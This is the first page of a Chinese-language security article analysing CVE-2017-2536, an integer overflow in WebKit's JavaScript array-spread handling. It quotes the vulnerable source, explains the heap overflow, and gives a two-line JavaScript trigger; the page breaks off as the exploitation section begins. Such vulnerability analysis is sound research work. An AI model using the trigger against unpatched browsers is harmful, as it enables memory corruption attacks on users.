欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

如何利用JavaScript数组扩展中的整型溢出漏洞(WebKit)

来源:本站整理 作者:佚名 时间:2017-06-07 TAG: 我要投稿

我将在这篇文章中给大家介绍有关漏洞CVE-2017-2536/ZDI-17-358,这是一个典型的整形溢出漏洞,当系统在计算分配空间的尺寸大小时,该漏洞将有可能导致堆缓冲区溢出。我们不仅给大家提供了一个“短小精悍”的漏洞PoC,而且我们还设计出了针对Safari 10.1的完整的漏洞利用方案,所以一切将会非常的有趣!

注:该功能原本是为了让JavaScriptCore能够更好地处理ECMAScript 6的扩展操作而设计的,但saelo在今年二月份发现了其中存在的安全问题。

漏洞分析

下面就是JavaScript在进行数组扩展操作时构建新数组所要用到的代码:

SLOW_PATH_DECL(slow_path_new_array_with_spread)
{
    BEGIN();
    int numItems = pc[3].u.operand;
    ASSERT(numItems >= 0);
    const BitVector& bitVector = exec->codeBlock()->unlinkedCodeBlock()->bitVector(pc[4].u.unsignedValue);
    JSValue* values = bitwise_cast<JSValue*>(&OP(2));
    // [[ 1 ]]
    unsigned arraySize = 0;
    for (int i = 0; i < numItems; i++) {
        if (bitVector.get(i)) {
            JSValue value = values[-i];
            JSFixedArray* array = jsCast<JSFixedArray*>(value);
            arraySize += array->size();
        } else
            arraySize += 1;
    }
    JSGlobalObject* globalObject = exec->lexicalGlobalObject();
    Structure* structure = globalObject->arrayStructureForIndexingTypeDuringAllocation(ArrayWithContiguous);
    JSArray* result = JSArray::tryCreateForInitializationPrivate(vm, structure, arraySize);
    CHECK_EXCEPTION();
    // [[ 2 ]]
    unsigned index = 0;
    for (int i = 0; i < numItems; i++) {
        JSValue value = values[-i];
        if (bitVector.get(i)) {
            // We are spreading.
            JSFixedArray* array = jsCast<JSFixedArray*>(value);
            for (unsigned i = 0; i < array->size(); i++) {
                RELEASE_ASSERT(array->get(i));
                result->initializeIndex(vm, index, array->get(i));
                ++index;
            }
        } else {
            // We are not spreading.
            result->initializeIndex(vm, index, value);
            ++index;
        }
    }
    RETURN(result);
}
请大家看到上述代码中标记了[[1]]的部分,函数首先会计算输出数组的长度大小,程序稍后会在[[2]]进行空间分配以及初始化操作。但是,此时计算出来的数组空间长度很可能会发生溢出,并引起一个相似的数组被分配。

因为JSObject::initializeIndex并不会执行任何的边界检测,为了印证这一点,请大家先看看下面这段代码:

/* ... */
case ALL_CONTIGUOUS_INDEXING_TYPES: {
    ASSERT(i < butterfly->publicLength());
    ASSERT(i < butterfly->vectorLength());
    butterfly->contiguous()[i].set(vm, this, v);
    break;
}
/* ... */
如果数据发生越界,那么此时便会出现堆缓冲区溢出的问题。这个漏洞可以通过下面这段脚本代码来触发:

var a = new Array(0x7fffffff);
var x = [13, 37, ...a, ...a];
此时,一个长度为0的JSArray对象将会被创建,然后再向这个JSArray对象中拷贝了2^32个元素进去,我们的浏览器可不想看到这样的事情发生。

当然了,想要解决这个问题也并不难。我们只需要添加一个针对整形溢出问题的检测函数久可以修复这个问题了。【漏洞修复方案】

漏洞利用

虽然上面给出的PoC代码会多次使用一个数组,但JavaScriptCore仍然会在每一次的数组扩展操作中分配一个JSFixedArray对象(查看标注[[2]]下面的代码)。这样一来,系统将会分配大约四十亿个JSValues对象,这些JSValues对象将会占用大约32GiB的RAM空间。不过幸运的是,由于macOS内核引入了页面压缩功能,因此这个问题不会对macOS

平台产生较大的影响,但是对于其他平台来说,攻击者可以在一分钟左右的时间里成功触发这个漏洞,因此它的影响还是比较严重的。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载